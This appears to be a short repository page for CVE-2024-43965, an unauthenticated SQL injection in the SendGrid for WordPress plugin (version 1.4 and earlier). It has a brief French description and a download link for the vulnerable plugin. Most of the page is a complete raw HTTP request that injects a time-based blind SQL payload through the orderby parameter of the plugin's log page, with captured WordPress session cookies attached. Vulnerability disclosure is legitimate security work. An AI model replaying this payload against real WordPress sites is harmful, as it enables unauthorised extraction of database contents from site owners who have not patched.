randomrobbiebf/cve-2024-43965SendGrid for WordPress <= 1.4 - Injection SQL non authentifiée
SendGrid for WordPress <= 1.4 - Injection SQL non authentifiée
Le plugin SendGrid for WordPress pour WordPress est vulnérable à une injection SQL dans les versions jusqu'à la 1.4 incluse, en raison d'un échappement insuffisant du paramètre fourni par l'utilisateur et d'un manque de préparation suffisante de la requête SQL existante. Cela permet à des attaquants non authentifiés d'ajouter des requêtes SQL supplémentaires aux requêtes existantes, qui peuvent être utilisées pour extraire des informations sensibles de la base de données.
Type: plugin
CVSS Score: 10
CVE: CVE-2024-43965
Slug: wp-sendgrid-mailer
Download Link: https://downloads.wordpress.org/plugin/wp-sendgrid-mailer.1.4.zip
GET /wp-admin/admin.php?page=wp-mailplus-logs&orderby=sent_time%2c(select*from(select(sleep(20)))a)&order=asc HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=wp-mailplus-logs
Connection: keep-alive
Cookie: thc_time=1731228211; wordpress_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728983677%7C4Xhd7TcV61WG4vHjAg7FnUTbbGjPn6suDuM3pdK1Lif%7C64e3c5190e9d6981e485354f702a6f61dc8d35c827776156e02acbc906e9438b; _delighted_web={%22FutSOUgy5edCcTk9%22:{%22_delighted_fst%22:{%22t%22:%221694595337803%22}}}; mailpoet_page_view=%7B%22timestamp%22%3A1727811617%7D; wc_auth_e2df32a6c3e7076dd7dc7d3f3fec39aa=1%7C1729506239%7C78ab8d662a1880b359746913feff6990daed2d6015365243d2e2412561061446; wp-settings-1=libraryContent%3Dbrowse%26posts_list_mode%3Dlist; wp-settings-time-1=1728766871; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa=admin%7C1728983677%7C4Xhd7TcV61WG4vHjAg7FnUTbbGjPn6suDuM3pdK1Lif%7C8a736f7917a23bb6af5d41f105cca1cea534aae621f35fae6edbe554d366207f; wp_wpfileupload_e2df32a6c3e7076dd7dc7d3f3fec39aa=XQGEyqgTa4ZpWTEfq92q1b6ZAMRbbNSs
Upgrade-Insecure-Requests: 1
Priority: u=0, i